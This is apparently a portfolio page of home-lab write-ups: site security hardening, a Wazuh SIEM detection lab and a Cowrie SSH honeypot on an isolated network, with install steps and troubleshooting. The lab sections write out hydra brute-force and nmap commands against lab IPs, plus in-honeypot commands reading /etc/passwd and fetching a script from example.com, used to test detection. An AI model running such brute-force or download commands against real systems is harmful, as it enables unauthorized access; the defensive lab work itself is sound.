Write-ups of self-directed labs and infrastructure work — real environments configured, tested, and verified, not just claimed on a resume.
This site itself is a hardening exercise. Starting from a default Cloudflare-fronted static deployment, I worked through DNS-layer, transport-layer, and application-layer security controls end to end — then verified every claim against independent third-party scanners rather than trusting the dashboard alone.
What was implemented:
_headers config: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, and Permissions-Policysecurity.txt published for responsible vulnerability disclosureVerification, not assertion: every change was checked against independent scanners rather than assumed correct from the dashboard alone.
The DNS/email side (SPF, DKIM, DMARC) was configured and troubleshot independently — including diagnosing a duplicate DKIM record and a misplaced DMARC record name, both caught and corrected through direct DNS inspection rather than assuming the first attempt was correct.
A self-contained Security Operations Center lab built entirely on a single laptop, covering the full detection lifecycle: deploying a SIEM, generating realistic attack traffic, detecting it, and tuning custom detection logic — the core loop of SOC analyst and detection engineering work.
Three virtual machines on an isolated internal network (VMware Host-Only, subnet 192.168.111.0/24), each with a secondary NAT adapter for package updates only. Keeping the lab fully isolated from the home LAN ensures attack traffic and vulnerable services never reach the wider network — standard practice for any offensive-security home lab.
| VM | Role | OS | RAM | Disk |
|---|---|---|---|---|
| parrot-security | Attacker | Parrot Security Edition | 2 GB | 20 GB |
| wazuh-manager | SIEM (manager + indexer + dashboard) | Ubuntu Server 24.04 LTS | 4 GB | 60 GB |
| ubuntu-victim | Monitored endpoint | Ubuntu Server 24.04 LTS | 2 GB | 25 GB |
An SSH brute-force attack was launched from the attacker VM against the victim's SSH service to validate that Wazuh's default ruleset detects credential-guessing attempts:
hydra -l ubuntu-victim -P /path/to/wordlist.txt ssh://192.168.111.133
The attack generated 2,505 authentication-failure events, triggering rule IDs 2501, 2502, 5758, and 5760, with the source IP confirmed via the data.srcip field and MITRE ATT&CK technique T1110 (Brute Force) identifiable in the correlated alert.
To demonstrate detection-engineering capability beyond default rules, a custom correlation rule was authored in Wazuh's local ruleset, tightening the brute-force detection threshold to 3 failed logins within 10 seconds:
<group name="local,syslog,sshd,">
<rule id="100010" level="10" frequency="3" timeframe="10">
<if_matched_sid>5760</if_matched_sid>
<description>Custom: SSH brute force - 3 failed logins in 10 seconds</description>
<mitre>
<id>T1110</id>
</mitre>
</rule>
</group>
Re-running the attack after applying the rule confirmed rule 100010 fired correctly, correlating on top of the raw 5760 events with the intended tighter threshold and MITRE tagging.
Real-world infrastructure work involves solving unexpected problems. Several issues surfaced during the build, each diagnosed to root cause rather than patched blindly:
Filebeat installation failed and the install script auto-rolled back entirely. Root cause was two-layered: Ubuntu's LVM installer had only allocated part of the virtual disk to the root logical volume, and separately, the host laptop's own drive ran out of space as the growable virtual disk expanded. Fixed by extending the logical volume (lvextend / resize2fs) and relocating VM files to a secondary drive with more free space.
Subsequent install retries failed with dpkg: too many errors — the original disk-space failure had left dpkg's package database in an inconsistent state. Rather than continue patching a corrupted package state, rebuilt the VM from scratch with a properly-sized disk — a deliberate call to avoid compounding technical debt in an environment where a clean rebuild is cheap.
Reinstall failed with Port 1515/55000 is being used by another process. Diagnosed via lsof -i :1515 and lsof -i :55000, which identified stale wazuh-authd and Wazuh API processes left running from the previous failed install. Resolved by stopping the service and confirming ports were released before retrying.
Attacker VM showed an active network interface but no IPv4 address after repeated VM rebuilds. Cause was a stale lease table in VMware's virtual DHCP service. Resolved by restarting the VMnetDHCP service from an elevated host session.
# Network verification (all VMs)
ip a
# Wazuh manager install (all-in-one)
curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh
sudo bash wazuh-install.sh -a
# LVM disk extension
sudo vgs
sudo lvs
sudo lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv
sudo resize2fs /dev/ubuntu-vg/ubuntu-lv
# Wazuh agent deployment (victim)
sudo systemctl enable wazuh-agent
sudo systemctl start wazuh-agent
sudo systemctl status wazuh-agent
# Port conflict diagnosis
sudo lsof -i :1515
sudo lsof -i :55000
# Attack simulation
hydra -l ubuntu-victim -P wordlist.txt ssh://192.168.111.133
An SSH honeypot added to the existing Home SOC Lab environment, capturing full attacker interaction — credential brute-forcing, session login, and post-login command execution — with structured JSON logging suitable for downstream SIEM correlation.
In a real deployment, a honeypot like this is placed on internet-routable infrastructure — a cloud VPS or a DMZ segment — deliberately exposed so it gets found by the same opportunistic scanners and credential-stuffing bots that probe any public IP range. The value is in the traffic being unsolicited: real attackers, not simulated ones. Egress from the honeypot is tightly restricted so a compromised instance can't pivot into production systems, and captured sessions feed a SIEM or threat-intel pipeline as a low-noise source of genuine indicators — source IPs, credential patterns, and TTPs — without any of the false positives that come from monitoring real production traffic.
This build is deliberately the opposite: fully isolated on a host-only lab network, with attack traffic generated on demand from a Parrot Security OS VM rather than pulled from the open internet. That trade-off is intentional — it validates that the honeypot and its logging pipeline work correctly, and keeps a vulnerable-by-design service off any network with real exposure, at the cost of not producing genuine external threat data.
Extends the existing lab's isolated internal network (VMware Host-Only, subnet 192.168.111.0/24) with a fourth VM rather than standing up separate infrastructure — keeping the honeypot on the same segment as the attacker and SIEM host it's meant to work alongside.
| VM | Role | OS | IP |
|---|---|---|---|
| cowrie-honeypot | Fake SSH service | Ubuntu Server 24.04 LTS | 192.168.111.134 (static) |
| parrot-security | Attacker | Parrot Security Edition | 192.168.111.x |
| wazuh-manager | SIEM (manager + indexer + dashboard) | Ubuntu Server 24.04 LTS | 192.168.111.132 |
The honeypot's IP was moved from DHCP to a static netplan assignment before wiring anything else to it — a dynamic lease renewing to a different address would silently break any log-forwarding config pointed at the old one.
Cowrie was installed from source into a dedicated cowrie system user's home directory, inside a Python virtual environment, and installed in editable mode so its console-script entry point becomes available directly:
sudo apt install -y git python3-venv python3-dev libssl-dev libffi-dev build-essential
sudo useradd -m -s /bin/bash cowrie
git clone https://github.com/cowrie/cowrie
cd cowrie
python3 -m venv cowrie-env && source cowrie-env/bin/activate
pip install -r requirements.txt
pip install -e .
cp src/cowrie/data/etc/cowrie.cfg.dist etc/cowrie.cfg
The default hostname (svr04) and fake filesystem identity were changed to a plausible internal-looking name before starting the service — a default, unconfigured-looking honeypot is itself a fingerprint an attacker (or a reviewer) can spot immediately.
cowrie start
ss -tlnp | grep 2222
# LISTEN 0 50 0.0.0.0:2222 users:(("twistd",pid=...))
From the Parrot VM, a credential brute-force was run against the honeypot's SSH service using a standard password wordlist:
nmap -sV -p 2222 192.168.111.134
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.111.134:2222
Hydra returned 15 valid passwords out of the wordlist tested — expected and by design, since Cowrie accepts most submitted credentials rather than rejecting them, so that login attempts convert into observable post-login sessions rather than dead-ending at the auth prompt. One of the recovered credentials was then used for an interactive login, followed by a short sequence of reconnaissance-style commands inside the fake shell:
ssh -p 2222 root@192.168.111.134
whoami
ls -la
cat /etc/passwd
wget http://example.com/test.sh
uname -a
Structured JSON logging (cowrie.json) captured the full chain with an exact 1:1 match between actions taken and events recorded — 16 login.success events matching Hydra's recovered credentials, 5 command.input events matching each command typed, and 1 session.file_download event from the wget call:
cat var/log/cowrie/cowrie.json | jq '.eventid' | sort | uniq -c
18 "cowrie.client.kex"
18 "cowrie.client.version"
1 "cowrie.login.failed"
16 "cowrie.login.success"
5 "cowrie.command.input"
1 "cowrie.session.file_download"
21 "cowrie.session.connect"
20 "cowrie.session.closed"
src/ structureStandard guidance for Cowrie assumes a top-level etc/ config directory and a bin/cowrie launcher script — neither exists in this checkout. The project now ships the config template under src/cowrie/data/etc/cowrie.cfg.dist, and the launcher isn't a checked-in script at all: it's a console-script entry point registered by pip install -e ., only present on PATH once the package itself (not just its dependencies) is installed. Diagnosed with find . -iname rather than guessing paths from memory, and confirmed with which cowrie once the editable install completed.
Repeated commands failed with No such file or directory when run against an absolute path (/etc/cowrie.cfg, /var/log/cowrie/...) instead of the correct path relative to the repo root (etc/cowrie.cfg, var/log/cowrie/...). Resolved each time by confirming pwd and using realpath to verify which file was actually being referenced before troubleshooting further — a cheap check that would have prevented several repeated failed attempts.
Redirecting inbound port 22 to Cowrie's 2222 (iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222) would make the honeypot present on the standard SSH port instead of an obviously non-default one — realistic for an internet-facing deployment, but irrelevant on an isolated lab network where nothing scans port 22 opportunistically, and risky to attempt without first relocating the VM's real management SSH daemon off port 22. Deferred as out of scope for this iteration rather than implemented carelessly.
src/ package structure silently invalidated file paths that used to be standard; find and pip show resolved it faster than guessingpwd first is cheaper than debugging the wrong hypothesiscommand.input events) is what turns "I ran a honeypot" into a verifiable claim rather than an assertion# Cowrie install (editable, from source)
sudo apt install -y git python3-venv python3-dev libssl-dev libffi-dev build-essential
sudo useradd -m -s /bin/bash cowrie
git clone https://github.com/cowrie/cowrie
cd cowrie
python3 -m venv cowrie-env && source cowrie-env/bin/activate
pip install -r requirements.txt
pip install -e .
cp src/cowrie/data/etc/cowrie.cfg.dist etc/cowrie.cfg
# Static IP (netplan)
sudo nano /etc/netplan/*.yaml
sudo netplan try
# Start and verify listener
cowrie start
ss -tlnp | grep 2222
# Attack simulation (from Parrot)
nmap -sV -p 2222 192.168.111.134
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.111.134:2222
ssh -p 2222 root@192.168.111.134
# Log analysis
cat var/log/cowrie/cowrie.json | jq '.eventid' | sort | uniq -c